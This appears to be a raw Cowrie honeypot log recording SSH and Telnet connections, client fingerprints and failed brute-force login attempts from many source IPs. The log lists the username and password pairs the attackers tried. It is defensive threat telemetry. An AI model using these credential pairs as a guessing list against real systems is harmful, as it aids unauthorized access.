{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:44.673064Z","src_ip":"221.139.88.149","session":"b3afed48afae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qaz1234","message":"login attempt [admin/qaz1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:45.509666Z","src_ip":"221.139.88.149","session":"b3afed48afae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:46.764945Z","src_ip":"221.139.88.149","session":"b3afed48afae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":47490,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecd9e67cba59","protocol":"ssh","message":"New connection: 185.216.119.134:47490 (10.17.0.5:22) [session: ecd9e67cba59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:51.232580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:51.263351Z","src_ip":"185.216.119.134","session":"ecd9e67cba59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:51.747975Z","src_ip":"185.216.119.134","session":"ecd9e67cba59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Welcome@123","message":"login attempt [ftpuser/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:53.553486Z","src_ip":"185.216.119.134","session":"ecd9e67cba59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:54.793596Z","src_ip":"185.216.119.134","session":"ecd9e67cba59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.253.68.42","src_port":37882,"dst_ip":"159.203.135.109","dst_port":23,"session":"f76e0c14db18","protocol":"telnet","message":"New connection: 103.253.68.42:37882 (159.203.135.109:23) [session: f76e0c14db18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:08.041292Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":47970,"dst_ip":"159.203.135.109","dst_port":22,"session":"721ae18ab3b2","protocol":"ssh","message":"New connection: 31.59.89.180:47970 (159.203.135.109:22) [session: 721ae18ab3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:18.815563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:18.821620Z","src_ip":"31.59.89.180","session":"721ae18ab3b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:18.932022Z","src_ip":"31.59.89.180","session":"721ae18ab3b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mcserver","message":"login attempt [minecraft/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:19.383192Z","src_ip":"31.59.89.180","session":"721ae18ab3b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:20.491722Z","src_ip":"31.59.89.180","session":"721ae18ab3b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36596,"dst_ip":"159.203.135.109","dst_port":22,"session":"b13b64229f55","protocol":"ssh","message":"New connection: 159.203.92.129:36596 (159.203.135.109:22) [session: b13b64229f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:21.905731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:21.910209Z","src_ip":"159.203.92.129","session":"b13b64229f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:21.914572Z","src_ip":"159.203.92.129","session":"b13b64229f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"YanBin","password":"123","message":"login attempt [YanBin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:21.925605Z","src_ip":"159.203.92.129","session":"b13b64229f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:22.932451Z","src_ip":"159.203.92.129","session":"b13b64229f55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":34588,"dst_ip":"10.17.0.5","dst_port":22,"session":"81bcabb71004","protocol":"ssh","message":"New connection: 210.183.21.53:34588 (10.17.0.5:22) [session: 81bcabb71004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:24.422150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:24.426522Z","src_ip":"210.183.21.53","session":"81bcabb71004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:24.628398Z","src_ip":"210.183.21.53","session":"81bcabb71004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1!","message":"login attempt [root/Qwerty1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:25.466438Z","src_ip":"210.183.21.53","session":"81bcabb71004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:26.672804Z","src_ip":"210.183.21.53","session":"81bcabb71004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.16.66","src_port":59057,"dst_ip":"10.17.0.5","dst_port":23,"session":"c34d2e6df64d","protocol":"telnet","message":"New connection: 59.126.16.66:59057 (10.17.0.5:23) [session: c34d2e6df64d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:26.883227Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":36172,"dst_ip":"10.17.0.5","dst_port":22,"session":"6294574b5696","protocol":"ssh","message":"New connection: 196.189.51.7:36172 (10.17.0.5:22) [session: 6294574b5696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:27.177532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:27.182231Z","src_ip":"196.189.51.7","session":"6294574b5696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:27.350912Z","src_ip":"196.189.51.7","session":"6294574b5696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"useruser","password":"useruser","message":"login attempt [useruser/useruser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:28.045004Z","src_ip":"196.189.51.7","session":"6294574b5696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:29.214117Z","src_ip":"196.189.51.7","session":"6294574b5696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":1698,"dst_ip":"10.17.0.5","dst_port":22,"session":"11854f7f6f46","protocol":"ssh","message":"New connection: 201.149.53.243:1698 (10.17.0.5:22) [session: 11854f7f6f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:30.140542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:30.145224Z","src_ip":"201.149.53.243","session":"11854f7f6f46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:30.216650Z","src_ip":"201.149.53.243","session":"11854f7f6f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123qweasdzxc","message":"login attempt [test/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:30.520370Z","src_ip":"201.149.53.243","session":"11854f7f6f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:31.590653Z","src_ip":"201.149.53.243","session":"11854f7f6f46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":35054,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bc4cbb3eba1","protocol":"ssh","message":"New connection: 80.94.92.186:35054 (159.203.135.109:22) [session: 3bc4cbb3eba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:35.729727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:35.880669Z","src_ip":"80.94.92.186","session":"3bc4cbb3eba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:35.884674Z","src_ip":"80.94.92.186","session":"3bc4cbb3eba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx","message":"login attempt [ubuntu/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:36.864939Z","src_ip":"80.94.92.186","session":"3bc4cbb3eba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:38.083726Z","src_ip":"80.94.92.186","session":"3bc4cbb3eba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.379276037216187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:38.420449Z","src_ip":"103.253.68.42","session":"f76e0c14db18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":43586,"dst_ip":"159.203.135.109","dst_port":22,"session":"5993e73f6dc8","protocol":"ssh","message":"New connection: 221.139.88.149:43586 (159.203.135.109:22) [session: 5993e73f6dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:34:47.275826Z"}
